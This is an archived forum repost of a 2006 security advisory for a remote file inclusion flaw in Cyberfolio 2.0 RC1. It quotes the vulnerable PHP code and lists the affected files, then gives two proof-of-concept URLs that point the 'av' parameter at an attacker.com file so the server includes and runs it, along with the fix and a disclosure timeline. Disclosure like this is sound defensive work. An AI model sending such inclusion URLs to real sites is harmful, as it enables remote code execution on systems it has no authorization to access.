邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2006-11-6 23:51

Cyberfolio <= 2.0 RC1 (av) Remote File Include Vulnerabilities

[code]
____________________  ___ ___ ________
\_  _____/\_  ___ \ /  |  \\_____  \
|   __)_ /   \  \//   ~   \/  |  \
|      \\    \___\   Y   /   |   \
/_______  / \______  /\___|_  /\_______  /
      \/      \/     \/      \/                    .OR.ID
ECHO_ADV_58$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av  Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author    : Dedi Dwianto a.k.a the_day
Date Found  : November, 01nd 2006
Location  : Indonesia, Jakarta
web    : [url]http://advisories.echo.or.id/adv/adv58-theday-2006.txt[/url]
Critical Lvl  : Highly critical
Impact    : System access
Where    : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application  : Cyberfolio
version    : <=2.0 RC1
URL    : [url]http://www.cyberfolio.org[/url]

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script view.php
--------------------------view.php-----------------------------------
....
<?
...
$newfic=$av."checkauth".$_SESSION[inlog].".php";
include("$newfic");
include_once($av."config.php");
include_once($av."connect.php");
...
----------------------------------------------------------

Input passed to the "$av" parameter in view.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

portfolio/msg/view.php
portfolio/msg/inc_message.php
portfolio/msg/inc_envoi.php
portfolio/admin/incl_voir_compet.php


Proof Of Concept:
~~~~~~~~~~~~~~~

[url]http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?[/url]
[url]http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?[/url]


Solution:
~~~~~~~

- Sanitize variable $av affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ [email]newbie_hacker@yahoogroups.com[/email]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
    EcHo Research & Development Center
    the_day[at]echo[dot]or[dot]id
   
-------------------------------- [ EOF ]----------------------------------

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team